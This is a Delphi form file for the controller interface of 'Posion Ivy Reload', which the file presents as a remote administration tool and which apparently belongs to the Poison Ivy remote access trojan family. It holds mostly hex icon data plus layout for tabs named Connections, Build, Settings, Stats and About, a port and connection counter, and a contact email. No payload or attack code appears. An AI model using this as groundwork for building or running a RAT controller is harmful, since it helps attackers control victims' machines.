7AE3B85B463E3B2CC73DCBD49F148F8E5922305A91984C52CB0B238259629BDC
D73A36B23739155AD6B7D11335D252B6525B36CBA0B8C127BE09EF51C959EF39
EEC31951730E7AC34F9FB4A31EEC8AE5B786B1D6624A1B8B92B10DAD539218E6
55F8BE7891CBFA2B913CF2B9284D49ACE19EC9728B5E67B3278D072ED3C95208
B6BCB89D855DDF583036D8594B0C4D1C48DEC004041183AF118D8471E0862861
8DBFD2DF739CE74ADBA76CB94D9E421182C4498F95120F003C00F003C00F003C
00F003C00F003C00F003C03207EE5595C755ED787E2B10CFB6AD2BA8F3CCE435
D1C9140A38A632B755BEBA64AD564CD32979F0C7CB0488EF92197DAF8D1AF46B
BCEA75946BEB4ADFEAC3FE464B733B943C0D7982248608624FD1238D8C44FF00
F16A27FF004F3966B3EBE007801E007801E007801E007801E007801E007801E0
078078EC0C86BC12CD22464300834C44D2C8A8D6471C31BA47BDEE5FD11AC6B5
55557FD93C24DBC2DC3D164CD0FAD98A7F4BEF365DAAD5C840B9787553D7C53B
65F57E9F6E48AC86CE1F7B5CD4FD9330294045EAEF730737DBE9E9E9E9D4EDBF
6A88D2BC7F4FE664A7EBB1CD9A77E72CD61E007801E007801E007801E007801E
007801E007801E0078055DD96B6F2F39CEA6833CF6C3677752656C644A89F0C3
0930BD84A4AF57B162FC81D5D135EDF72C6F911FED546AF9775D47DE8F2DB242
DCF078F2233F5E79997CC3010555A20C973625CF6B67F8CEF918C98948D91C1F
3AB5AB32C0342C6ABBD3D15C8BE9FA793ED5CAEB731F4AD08D3070861EE5EFE6
62D0F003C00F003C00F003C00F003C03FFD9}
ExplicitLeft = 681
end
object Bevel_11: TBevel
Left = 44
Top = 119
Width = 168
Height = 207
Shape = bsFrame
end
object Label_DankeLabel: TLabel
Left = 49
Top = 123
Width = 44
Height = 13
Caption = 'Credits:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold]
ParentFont = False
end
object Bevel_12: TBevel
Left = 45
Top = 138
Width = 96
Height = 10
Shape = bsTopLine
end
object Bevel_13: TBevel
Left = 228
Top = 118
Width = 168
Height = 207
Shape = bsFrame
end
object Label_11: TLabel
Left = 233
Top = 122
Width = 112
Height = 13
Caption = 'Development team:'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = [fsBold]
ParentFont = False
end
object Bevel_4: TBevel
Left = 228
Top = 138
Width = 96
Height = 2
Shape = bsTopLine
end
object Label_SloganLabel: TLabel
Left = 785
Top = 199
Width = 137
Height = 30
Alignment = taCenter
Anchors = [akTop, akRight]
AutoSize = False
Caption = 'Leave of three'#13#10'better free'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsItalic]
ParentFont = False
ExplicitLeft = 681
end
object Label_SoftInfo: TLabel
Left = 23
Top = 50
Width = 337
Height = 52
Caption =
'Posion Ivy Reload is an advanced remote administration tool that' +
' uses'#13#10'Fwb+ and Func-in technology.'#13#10#13#10'Thanks to everybody who h' +
'as helped me with ideas and inspiration.'
end
object Label_3: TLabel
Left = 23
Top = 344
Width = 116
Height = 13
Caption = 'Contact: f1u3t@qq.com'
end
object Label_12: TLabel
Left = 23
Top = 372
Width = 132
Height = 13
Cursor = crHandPoint
Caption = 'http://www.github.com'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlue
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold, fsUnderline]
ParentColor = False
ParentFont = False
OnClick = Label_13Click
OnMouseEnter = Label_12MouseEnter
OnMouseLeave = Label_12MouseLeave
end
object Label_13: TLabel
Left = 23
Top = 388
Width = 128
Height = 13
Cursor = crHandPoint
Caption = 'http://www.baidu.com'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clBlue
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = [fsBold, fsUnderline]
ParentColor = False
ParentFont = False
OnClick = Label_13Click
OnMouseEnter = Label_12MouseEnter
OnMouseLeave = Label_12MouseLeave
end
object ScrollBox_1: TScrollBox
Left = 49
Top = 142
Width = 156
Height = 179
BorderStyle = bsNone
TabOrder = 0
object Label_Credits: TLabel
Left = 0
Top = 0
Width = 3
Height = 13
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
end
object ScrollBox_11: TScrollBox
Left = 236
Top = 142
Width = 156
Height = 179
BorderStyle = bsNone
TabOrder = 1
object Label_Development_Team: TLabel
Left = 0
Top = 0
Width = 3
Height = 13
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
end
end
end
end
end
end
object StatusBar_1: TStatusBar
Left = 0
Top = 564
Width = 967
Height = 23
Panels = <
item
Bevel = pbNone
Style = psOwnerDraw
Width = 80
end
item
Style = psOwnerDraw
Width = 220
end
item
Text = 'Port: 0'
Width = 70
end
item
Text = 'Connection(s): 0'
Width = 120
end>
end
object TabSet_1: TTabSet
Left = 553
Top = 161
Width = 269
Height = 15
DitherBackground = False
EndMargin = 2
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentShowHint = False
ShowHint = False
StartMargin = 2
SoftTop = True
TabHeight = 14
Tabs.Strings = (
'Connections'
'Build'
'Settings'
'Stats'
'About')
TabIndex = 0
OnChange = TabSet_1Change
end
object PopMenu_Tray: TPopupMenu
Left = 839
Top = 224
object MenuItem_Show1: TMenuItem
Caption = 'Hide/Show'
OnClick = MenuItem_Show1Click
end
object MenuItem_EnableBalloontip1: TMenuItem
Caption = 'Balloontip Notification'
OnClick = MenuItem_EnableBalloontip1Click
end
object N2: TMenuItem
Caption = '-'
end
object MenuItem_ExitPoisonIvy1: TMenuItem
Caption = 'Exit'
OnClick = MenuItem_ExitPoisonIvy1Click
end
end
object CoolTrayIcon1: TCoolTrayIcon
CycleInterval = 0
Icon.Data = {
0000010003003030000001002000A8250000360000002020000001002000A810
0000DE2500001010000001002000680400008636000028000000300000006000
0000010020000000000080250000000000000000000000000000000000000000
00000000000000000000000000000000000000000000313131032929297D4646
462D000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002F2F2F08353535F73D3D
3DE9454545590000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000282828776464
64FE3F3F3FFB3F3F3F2F00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000003F3F3F043030
30964E4E4EFC292929CD33333307000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00002E2E2E8B494949FF2828289C000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000033333303202020973B3B3BFE202020620000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000001515152817171710000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000003333330B262626BE363636FC2929295B00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002323230C1E1E1E611F1F
1FAC171717F7202020FF141414AA1D1D1D241B1B1B4E23232371181818891919
192B000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000002A2A2A09262626CF353535ED2828283A000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000001E1E1E111B1B1B5F262626EC323232FF3A3A
3AFF373737FE3E3E3EFF191919FE212121FF353535FF292929FE232323FF1919
19961F1F1F0A0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000003030302D363636F3373737F02D2D2D230000
0000000000000000000000000000000000000000000000000000000000000000
0000000000001D1D1D071A1A1A861A1A1AEF292929FF393939FE434343FF3F3F
3FFF505050FE3A3A3AFF1E1E1EFE313131FF2D2D2DFF3F3F3FFE515151FF1C1C
1CFF232323E21C1C1C7000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000002727273D3F3F3FFB2C2C2CDE2D2D
2D0F000000000000000000000000000000000000000000000000000000000000
00002727270F1C1C1CD0212121FF3E3E3EFF3A3A3AFF484848FF676767FF5656
56FF595959FF525252FF3C3C3CFF464646FF545454FF565656FF444444FF3E3E
3EFF3E3E3EFF2F2F2FFF1C1C1CBD2020204225252513212121131E1E1E130000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000212121603B3B3BFA2323
23BE2C2C2C0D0000000000000000000000000000000000000000000000000000
00001F1F1F8E2E2E2EFF444444FE585858FF595959FF585858FE737373FF6C6C
6CFF727272FE5A5A5AFF565656FE676767FF626262FF454545FE5D5D5DFF5656
56FF363636FE353535FF333333FF323232FE1D1D1DFF2D2D2DFF171717F50000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000002626267D4C4C
4CFF242424B80000000000000000000000000000000000000000000000002D2D
2D252F2F2FFB4F4F4FFF7A7A7AFF767676FF5C5C5CFF666666FF777777FF7474
74FF6D6D6DFF6D6D6DFF4F4F4FFF434343FF555555FF272727FF4E4E4EFF5151
51FF565656FF636363FF585858FF575757FF333333FF1B1B1BCB1B1B1B2F0000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002121
21954E4E4EFE1F1F1FA034343403000000000000000000000000000000002424
24A5565656FF737373FF7E7E7EFE5F5F5FFF636363FF676767FE797979FF7474
74FF666666FE676767FF3E3E3EFE414141FF606060FF676767FE565656FF5252
52FF515151FE636363FF4D4D4DFF383838FE2222227300000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000034343417313131273131
312F212121CD5C5C5CFF262626A3000000000000000000000000000000003939
39F5515151FF6D6D6DFF7B7B7BFE606060FF585858FF646464FE707070FF6060
60FF535353FE646464FF555555FE656565FF2F2F2FFF575757FE6F6F6FFF7070
70FF6D6D6DFE5B5B5BFF5D5D5DFF2B2B2BCB3737370B00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000003636360E252525781F1F1FD1262626F7454545FF4F4F
4FFF3F3F3FFF505050FF5A5A5AFD3131316C00000000000000003939391C4444
44FF484848FF6A6A6AFF707070FF585858FF5A5A5AFF606060FF6F6F6FFF5B5B
5BFF525252FF5C5C5CFF444444FF646464FF777777FF777777FF7D7D7DFF7070
70FF727272FF727272FF363636F54242421A0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000003333334F2A2A2AEC484848FF5F5F5FFF6F6F6FFE7D7D7DFF8686
86FF7F7F7FFE797979FF636363FF323232F735353550000000002A2A2A3D4E4E
4EFE484848FF5A5A5AFF595959FE525252FF646464FF636363FE616161FF4B4B
4BFF5C5C5CFE767676FF7C7C7CFE7B7B7BFF727272FF737373FE7E7E7EFF7C7C
7CFF717171FE494949FF2B2B2B87000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000022222251202020ED5C5C5CFE6E6E6EFF707070FF7C7C7CFE838383FF8989
89FF858585FE848484FF7F7F7FFF636363FF242424EF2E2E2E2D2B2B2B3D4242
42FE404040FF555555FF676767FE5C5C5CFF424242FF555555FE616161FF6E6E
6EFF6D6D6DFE7C7C7CFF757575FE717171FF7D7D7DFF7B7B7BFE777777FF6363
63FF393939FE2F2F2FA63D3D3D07000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002020
2062303030FC464646FF575757FE6B6B6BFF7D7D7DFF7D7D7DFE828282FF8787
87FF838383FE828282FF747474FF5E5E5EFF5A5A5AFE2F2F2FEA202020993B3B
3BFE5A5A5AFF575757FF4F4F4FFE555555FF595959FF636363FE838383FF7171
71FF5B5B5BFE707070FF7D7D7DFE7B7B7BFF676767FF747474FE7B7B7BFF6969
69FF2B2B2B9C0000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002A2A2A07212121742727
27F5464646FF656565FF797979FF838383FF878787FF838383FF767676FF7171
71FF727272FF787878FF676767FF575757FF6A6A6AFF757575FF555555FF4242
42FF696969FF737373FF767676FF7E7E7EFF727272FF676767FF656565FF7777
77FF787878FF646464FF636363FF747474FF696969FF5E5E5EFF444444FF2626
26CC3D3D3D120000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000031313117202020D4333333FF5151
51FE545454FF5F5F5FFF787878FE838383FF8E8E8EFF8E8E8EFE898989FF8585
85FF7A7A7AFE737373FF656565FF585858FF545454FE3F3F3FFF202020FF1616
16FE333333FF707070FF727272FE6B6B6BFF7B7B7BFF818181FE6B6B6BFF6262
62FF7B7B7BFE737373FF686868FE565656FF535353FF383838E72C2C2C7E3B3B
3B11000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000343434211A1A1AFE303030FF4040
40FE464646FF626262FF686868FE737373FF747474FF7B7B7BFE727272FF7575
75FF797979FE737373FF7B7B7BFF3F3F3FFF5F5F5FFE6A6A6AFF1A1A1AD43131
31FE121212DE232323E7383838FE434343FF505050FF787878FE727272FF6C6C
6CFF4D4D4DFE595959FF646464FE464646FF2B2B2BAA3D3D3D11000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000303030041C1C1CC6474747FF5B5B
5BFF747474FF808080FF808080FF848484FF878787FF888888FF7B7B7BFF7373
73FF6B6B6BFF575757FF636363FF4B4B4BFF4B4B4BFF717171FF242424C12222
228E3B3B3BFA282828452D2D2D3328282871202020B7181818F0323232FF2F2F
2FFF2C2C2CED2A2A2AB52A2A2A942D2D2D380000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000252525A0464646FE6C6C6CFF6868
68FE696969FF717171FF797979FE7B7B7BFF7C7C7CFF7A7A7AFE797979FF7E7E
7EFF7C7C7CFE686868FF5B5B5BFF494949FF484848FE616161FF1C1C1CC12D2D
2D0F393939EB333333E9212121801C1C1CC4262626EA393939FE3F3F3FFF3030
30FF242424DC212121A12C2C2C642727271C0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000027272731282828FB5A5A5AFE575757FF7272
72FE7A7A7AFF878787FF8A8A8AFE848484FF808080FF797979FE636363FF5353
53FF737373FE6C6C6CFF585858FF5C5C5CFF646464FE484848FF232323972929
29151A1A1AEF5F5F5FFF444444FE656565FF7A7A7AFF7D7D7DFE7E7E7EFF7171
71FF6B6B6BFE4B4B4BFF2C2C2CFE212121F9191919B720202052282828070000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000002929299F454545FF717171FF838383FF8888
88FF868686FF858585FF848484FF858585FF858585FF7D7D7DFF707070FF7979
79FF7E7E7EFF787878FF6A6A6AFF6A6A6AFF696969FF353535FF262626471515
15AA313131FF666666FF797979FF7B7B7BFF7E7E7EFF7E7E7EFF797979FF7979
79FF797979FF757575FF656565FF565656FF434343FF343434FF252525F52828
28762D2D2D050000000000000000000000000000000000000000000000000000
0000000000000000000000000000232323C44F4F4FFF606060FE636363FF7A7A
7AFE7F7F7FFF818181FF787878FE6C6C6CFF676767FF555555FE7B7B7BFF8080
80FF777777FE757575FF707070FF6B6B6BFF636363FE242424BC2626267C2525
25FE4C4C4CFF454545FF808080FE848484FF868686FF808080FE7F7F7FFF7B7B
7BFF7E7E7EFE797979FF717171FE6C6C6CFF646464FF535353FE424242FF3131
31FF262626B82828280900000000000000000000000000000000000000000000
000000000000000000002424242A212121F84B4B4BFF5D5D5DFE777777FF8383
83FE828282FF828282FF797979FE6E6E6EFF6E6E6EFF818181FE7F7F7FFF8383
83FF717171FE737373FF7E7E7EFF616161FF424242FE282828511A1A1AF45555
55FE4C4C4CFF484848FF5C5C5CFE6A6A6AFF6F6F6FFF717171FE6B6B6BFF6969
69FF585858FE606060FF5F5F5FFE575757FF636363FF626262FE4B4B4BFF4242
42FF2C2C2CFE1A1A1AA000000000000000000000000000000000000000000000
000000000000000000002222228B393939FF5C5C5CFF6F6F6FFF7E7E7EFF7979
79FF6B6B6BFF656565FF646464FF6B6B6BFF717171FF818181FF828282FF7E7E
7EFF606060FF606060FF747474FF393939FF282828B024242483424242FF6666
66FF454545FF515151FF4C4C4CFF717171FF757575FF7F7F7FFF868686FF8484
84FF868686FF7E7E7EFF7C7C7CFF7D7D7DFF717171FF5B5B5BFF4A4A4AFF4A4A
4AFF383838FF1D1D1DFF1515156B000000000000000000000000000000000000
00000000000000000000131313E02F2F2FFF575757FF636363FE818181FF7D7D
7DFE787878FF606060FF575757FE5E5E5EFF636363FF878787FE838383FF7070
70FF4F4F4FFE595959FF616161FF181818E230303015252525D3595959FF6060
60FE636363FF414141FF4B4B4BFE5F5F5FFF7A7A7AFF848484FE898989FF8383
83FF828282FE7B7B7BFF787878FE717171FF616161FF515151FE4F4F4FFF3A3A
3AFF303030FE161616FF101010FB1111113A0000000000000000000000000000
000000000000000000001A1A1A8B2D2D2DFF5A5A5AFF737373FE7B7B7BFF7777
77FE6D6D6DFF656565FF5F5F5FFE696969FF6C6C6CFF868686FE808080FF6666
66FF505050FE4F4F4FFF323232FA2C2C2C533232322A272727F84F4F4FFF7575
75FE737373FF434343FF5F5F5FFE545454FF595959FF4C4C4CFE535353FF5050
50FF484848FE424242FF323232FE2D2D2DFF3B3B3BFF3A3A3AFE303030FF2D2D
2DFF2A2A2AFE1C1C1CFF131313FA131313400000000000000000000000000000
0000000000001D1D1D021D1D1DC6494949FF6A6A6AFF6A6A6AFF6A6A6AFF6161
61FF616161FF686868FF5D5D5DFF797979FF747474FF828282FF7C7C7CFF5151
51FF3F3F3FFF2A2A2AFE222222830000000026262678373737FF5F5F5FFF8282
82FF535353FF636363FF7C7C7CFF636363FF595959FF5D5D5DFF656565FF6F6F
6FFF626262FF6B6B6BFF646464FF636363FF606060FF585858FF3F3F3FFF3D3D
3DFF313131FF343434FF1D1D1DFF1A1A1A280000000000000000000000000000
0000000000001E1E1E281F1F1FFF535353FF767676FF717171FE5B5B5BFF5F5F
5FFE606060FF6A6A6AFF777777FE7F7F7FFF707070FF777777FE6A6A6AFF4A4A
4AFF242424FE1D1D1D7A00000000000000001C1C1CA34A4A4AFF686868FF7575
75FE5D5D5DFF7F7F7FFF7D7D7DFE5A5A5AFF505050FF5A5A5AFE555555FF5757
57FF535353FE696969FF7A7A7AFE828282FF7C7C7CFF6E6E6EFE747474FF6666
66FF616161FE444444FF252525FF2222225C0000000000000000000000000000
0000000000001D1D1D5B2C2C2CFF606060FF737373FF737373FE6B6B6BFF6B6B
6BFE696969FF7E7E7EFF808080FE838383FF6C6C6CFF707070FE3E3E3EFF2C2C
2CF327272744000000000000000000000000171717DB464646FF696969FF6D6D
6DFE7E7E7EFF848484FF6C6C6CFE585858FF3E3E3EFF515151FE606060FF4848
48FF565656FE767676FF858585FE858585FF838383FF858585FE848484FF7575
75FF6A6A6AFE565656FF3A3A3AFF121212D61616160E00000000000000000000
0000000000002323233F343434FF616161FF595959FF6E6E6EFF7E7E7EFF7777
77FF828282FF868686FF848484FF7A7A7AFF5D5D5DFF393939FF292929E92F2F
2F3800000000000000000000000000000000202020E0434343FF6A6A6AFF7777
77FF8A8A8AFF7E7E7EFF575757FF5B5B5BFF6E6E6EFF717171FF565656FF4E4E
4EFF555555FF707070FF6B6B6BFF636363FF575757FF565656FF404040FF3232
32FF353535FF303030FF272727FF101010FF1414141E00000000000000000000
0000000000001E1E1E81373737FF595959FF4E4E4EFF696969FE7D7D7DFF7878
78FE858585FF7D7D7DFF6E6E6EFE626262FF333333FF282828C1313131150000
0000000000000000000000000000000000001C1C1CE0474747FF767676FF7E7E
7EFE828282FF757575FF535353FE626262FF7D7D7DFF737373FE646464FF5252
52FF3D3D3DFE3C3C3CFF4D4D4DFE373737FF3A3A3AFF383838FE393939FF2323
23FF161616FE282828FF2A2A2AFF131313EC1919190B00000000000000000000
0000000000001C1C1CD1444444FF5E5E5EFF5F5F5FFF7D7D7DFE7F7F7FFF7E7E
7EFE878787FF686868FF3B3B3BFE282828BF3636362D37373703000000000000
000000000000000000000000000000000000161616E0444444FF727272FF7C7C
7CFE828282FF636363FF505050FE787878FF7E7E7EFF646464FE4A4A4AFF3F3F
3FFF5D5D5DFE383838FF434343FE5E5E5EFF5D5D5DFF6A6A6AFE686868FF6464
64FF525252FE4A4A4AFF3D3D3DFF161616F51B1B1B2300000000000000000000
0000252525142C2C2CFF505050FF696969FF7A7A7AFF828282FF717171FF5656
56FF565656FF2A2A2AD73434344D000000000000000000000000000000000000
000000000000000000000000000000000000171717BF424242FF5F5F5FFF7878
78FF717171FF525252FF484848FF717171FF777777FF575757FF505050FF6161
61FF4C4C4CFF404040FF464646FF696969FF6A6A6AFF717171FF767676FF6E6E
6EFF5D5D5DFF565656FF404040FF202020FF161616AB00000000000000001A1A
1A011C1C1C8D393939FE3D3D3DFF4C4C4CFF505050FF4B4B4BEA333333B24848
4830414141274747470C00000000000000000000000000000000000000000000
0000000000000000000000000000000000001D1D1D572D2D2DFF575757FF7373
73FE727272FF4E4E4EFF515151FE6D6D6DFF626262FF3F3F3FFE4D4D4DFF6262
62FF565656FE353535FF4F4F4FFE414141FF464646FF474747FE424242FF3737
37FF2F2F2FFE2A2A2AFF2E2E2EFF252525FE121212B500000000000000001414
14A51F1F1FFA2B2B2BBD2C2C2C63444444184B4B4B134F4F4F09000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000262626031C1C1CC13D3D3DFF6D6D
6DFF6A6A6AFF3B3B3BFF575757FF676767FF4F4F4FFF2C2C2CFF5D5D5DFF6E6E
6EFF5B5B5BFF525252FF4E4E4EFF454545FF363636FF434343FF575757FF7575
75FF757575FF686868FF4F4F4FFF282828FF1919193100000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000029292917232323F46262
62FE505050FF333333FF5C5C5CFE575757FF3E3E3EFF2E2E2EFE626262FF6464
64FF6F6F6FFE6A6A6AFF484848FE5C5C5CFF353535FF444444FE444444FF3838
38FF2C2C2CFE272727FF1B1B1BFF141414FE1818181E00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000002525257A3030
30FE373737FF343434FF5A5A5AFE484848FF3C3C3CFF424242FE646464FF5757
57FF6B6B6BFE545454FF585858FE595959FF484848FF2F2F2FFE2C2C2CFF3B3B
3BFF484848FE383838FF1E1E1EFF121212C41919190400000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000232323041111
11E2141414FF1E1E1EFF414141FF313131FF323232FF575757FF5A5A5AFF5959
59FF6B6B6BFF484848FF6A6A6AFF535353FF636363FF4C4C4CFF383838FF3E3E
3EFF434343FF3C3C3CFF1D1D1DFA1C1C1C400000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000001313
135E161616D3161616B0232323FE3C3C3CFF343434FF5E5E5EFE555555FF5050
50FF484848FE484848FF585858FE666666FF595959FF414141FE434343FF4848
48FF484848FE1E1E1EFF202020EA000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000019191904121212C4232323FF2B2B2BFF4D4D4DFE4F4F4FFF5353
53FF474747FE4F4F4FFF4D4D4DFE636363FF484848FF3D3D3DFE414141FF5656
56FF444444FE292929FF181818B6000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000002323231F1A1A1A4E1F1F1F5C171717F0333333FF3131
31FF444444FF353535FF3E3E3EFF494949FF4B4B4BFF414141FF707070FF4545
45FF4C4C4CFF323232FF1C1C1CBB000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000212121101A1A1A6E1515
15D31A1A1AFC191919FF333333FE262626FF363636FF242424FE3F3F3FFF3F3F
3FFF292929FE494949FF1A1A1AEC1F1F1F030000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000222222221C1C1C5D1D1D1D622121218E1E1E1E9C1E1E1E9C2020209C3030
309C2929298E1C1C1CBD252525FF1B1B1B7D0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000001D1D1D4C2020209E000000000000000000000000FC7F
FFFFFFFF0000FC3FFFFFFFFF0000FE1FFFFFFFFF0000FE0FFFFFFFFF0000FF8F
FFFFFFFF0000FF87FFFFCFFF0000FFC3FFFC007F0000FFE1FFF0003F0000FFF0
FFC0001F0000FFF87F8000000000FFFC3F8000000000FFFE3F0000000000FFFF
0F0000030000FFFC0F0000030000FFE0060000070000FFC00200000F0000FF80
0000000F0000FF000000003F0000FC000000003F0000F8000000007F0000F800
000001FF0000F800000007FF0000F800000007FF0000F000000000FF0000F000
0000003F0000F0000000001F0000E0000000001F0000E0000000000F0000E000
000000070000E000000000070000C000080000070000C000180000070000C000
380000030000C000780000030000C000F80000030000C001F80000030000800F
F80000030000001FF8000003000001FFF80000030000FFFFFC0000030000FFFF
FE0000030000FFFFFE0000070000FFFFFF00000F0000FFFFFFC0000F0000FFFF
FFE0000F0000FFFFFFFC00070000FFFFFFFF80070000FFFFFFFFFFE700002800
0000200000004000000001002000000000008010000000000000000000000000
000000000000000000000000000000000000000000003030303A3B3B3B7F3737
3713000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000030303037484848DA3F3F
3F8D3636360A0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000313131433E3E
3ED83030306F0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000002F2F
2F5E323232D12A2A2A2B00000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000003737
3708232323100000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000003232
32022B2B2B582F2F2FCC2E2E2E3B000000000000000000000000000000000000
000000000000000000000000000045454501393939172424246B262626B72424
24FB1C1C1CD920202076242424981A1A1A8F2B2B2B1C00000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000343434022F2F2F92333333C73232320F0000000000000000000000000000
000000000000000000004C4C4C0325252572212121BD363636FA3D3D3DFF4343
43FE262626FE2D2D2DFF353535FE343434F31F1F1FB031313131000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000003C3C3C0D333333922E2E2EB23333331B00000000000000000000
0000000000003F3F3F13222222A8353535FE454545FF575757FE616161FF5D5D
5DFE4A4A4AFE535353FF535353FE4A4A4AFF3E3E3EFE2C2C2CF02525259C2323
23611E1E1E5F0000000000000000000000000000000000000000000000000000
0000000000000000000041414115323232BC2E2E2EA200000000000000000000
000000000000333333583B3B3BF1696969FE606060FF686868FE727272FF6C6C
6CFE585858FE525252FF3E3E3EFE525252FF4D4D4DFE515151FF4B4B4BFE2828
28F31C1C1C940000000000000000000000000000000000000000000000000000
00000000000000000000494949053A3A3A2F363636C4383838924B4B4B120000
000000000000383838D4676767FF737373FE5F5F5FFF6B6B6BFE707070FF6161
61FE505050FE4D4D4DFF5B5B5BFE5D5D5DFF5A5A5AFE5B5B5BFF3D3D3DF33232
3235000000000000000000000000000000000000000000000000000000000000
000044444406323232632C2C2CA1404040B73A3A3ADC505050F44040407A0000
00004646460C434343FC606060FF6B6B6BFE595959FF666666FE626262FF5656
56FE505050FE626262FF676767FE757575FF707070FE5D5D5DFC3D3D3D8B4343
4302000000000000000000000000000000000000000000000000000000003C3C
3C3D363636CD5A5A5AFF6E6E6EFE818181FF838383FE777777FF505050FB3636
365D3333332D484848FE525252FF5A5A5AFE575757FF5F5F5FFE5A5A5AFF6969
